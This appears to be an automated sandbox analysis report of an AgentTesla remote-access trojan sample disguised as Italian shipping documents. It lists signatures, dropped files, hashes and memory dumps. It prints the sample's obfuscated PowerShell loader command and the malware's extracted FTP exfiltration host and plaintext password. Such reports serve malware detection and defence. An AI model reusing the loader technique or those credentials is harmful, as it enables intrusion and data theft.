Resubmissions

20/01/2025, 14:01

250120-rbxweaspcn10

20/01/2025, 10:36

250120-mm8ptsvmav10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/01/2025, 10:36

General

  • Target
    Documenti di spedizione.exe
  • Size 617KB
  • Sample250120-mm8ptsvmav
  • SHA256 255ddfdf1409d89110925cfa93ba323d1a68b6c0916764169eeea521867816a6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Credentials
  • Protocol

    ftp

  • Host

    ftp.concaribe.com

  • Port

    21

  • Password

    ro}UWgz#!38E

Extracted

Family
  • agenttesla

Credentials
  • Protocol

    ftp

  • Host

    ftp://ftp.concaribe.com

  • Port

    21

  • Password

    ro}UWgz#!38E

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Documenti di spedizione.exe
    "C:\Users\Admin\AppData\Local\Temp\Documenti di spedizione.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized "$Grnsehandelens=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\stuehuset\Miljfarlig\gerodontology\Uveitic\Delagtig.Sny';$twyver=$Grnsehandelens.SubString(2792,3);.$twyver($Grnsehandelens)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1336

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_lshcxyzo.xea.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lshcxyzo.xea.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        Ganoidian.Rap37

        • Path C:\Users\Admin\AppData\Local\Temp\stuehuset\Miljfarlig\gerodontology\Ganoidian.Rap37
        • Size 335KB
        • SHA256 e8de183c313eb1ff30b0f71e534d0ade02f88a98e62542de5fca8dd9bf760a69
        • MD5 SHA1 SHA512 SSDEEP

        Delagtig.Sny

        • Path C:\Users\Admin\AppData\Local\Temp\stuehuset\Miljfarlig\gerodontology\Uveitic\Delagtig.Sny
        • Size 72KB
        • SHA256 ea339cb0657f6173ba6379cf208f2d86d69810e708ce741d53437b553e19d438
        • MD5 SHA1 SHA512 SSDEEP

        memory/1336-71-0x0000000000D00000-0x0000000000D42000-memory.dmp

        memory/1336-70-0x0000000000D00000-0x0000000001F54000-memory.dmp

        memory/1336-76-0x0000000023CE0000-0x0000000023CEA000-memory.dmp

        memory/1336-75-0x0000000023D80000-0x0000000023E12000-memory.dmp

        memory/1336-74-0x0000000023C40000-0x0000000023CDC000-memory.dmp

        memory/1336-73-0x0000000023B50000-0x0000000023BA0000-memory.dmp

        memory/2356-45-0x0000000007890000-0x000000000789A000-memory.dmp

        memory/2356-49-0x0000000007A30000-0x0000000007A3E000-memory.dmp

        memory/2356-11-0x0000000005A70000-0x0000000005AD6000-memory.dmp

        memory/2356-12-0x0000000005AE0000-0x0000000005B46000-memory.dmp

        memory/2356-22-0x0000000005CD0000-0x0000000006024000-memory.dmp

        memory/2356-23-0x0000000006330000-0x000000000634E000-memory.dmp

        memory/2356-24-0x0000000006360000-0x00000000063AC000-memory.dmp

        memory/2356-25-0x0000000007520000-0x00000000075B6000-memory.dmp

        memory/2356-26-0x0000000006820000-0x000000000683A000-memory.dmp

        memory/2356-27-0x0000000006870000-0x0000000006892000-memory.dmp

        memory/2356-28-0x0000000007B70000-0x0000000008114000-memory.dmp

        memory/2356-30-0x00000000087A0000-0x0000000008E1A000-memory.dmp

        memory/2356-42-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-43-0x0000000007760000-0x000000000777E000-memory.dmp

        memory/2356-32-0x0000000070850000-0x000000007089C000-memory.dmp

        memory/2356-31-0x0000000007720000-0x0000000007752000-memory.dmp

        memory/2356-44-0x0000000007790000-0x0000000007833000-memory.dmp

        memory/2356-9-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-46-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-48-0x00000000079F0000-0x0000000007A01000-memory.dmp

        memory/2356-47-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-10-0x0000000005360000-0x0000000005382000-memory.dmp

        memory/2356-50-0x0000000007A40000-0x0000000007A54000-memory.dmp

        memory/2356-51-0x0000000007AA0000-0x0000000007ABA000-memory.dmp

        memory/2356-52-0x0000000007A70000-0x0000000007A78000-memory.dmp

        memory/2356-53-0x0000000007AA0000-0x0000000007ACA000-memory.dmp

        memory/2356-54-0x0000000007AE0000-0x0000000007B04000-memory.dmp

        memory/2356-56-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-57-0x00000000743DE000-0x00000000743DF000-memory.dmp

        memory/2356-58-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-59-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-61-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-62-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-63-0x0000000008E20000-0x000000000C553000-memory.dmp

        memory/2356-64-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-65-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-67-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-7-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-8-0x0000000005440000-0x0000000005A68000-memory.dmp

        memory/2356-6-0x0000000004D50000-0x0000000004D86000-memory.dmp

        memory/2356-5-0x00000000743DE000-0x00000000743DF000-memory.dmp

        memory/2356-68-0x00000000743D0000-0x0000000074B80000-memory.dmp

        memory/2356-69-0x00000000743D0000-0x0000000074B80000-memory.dmp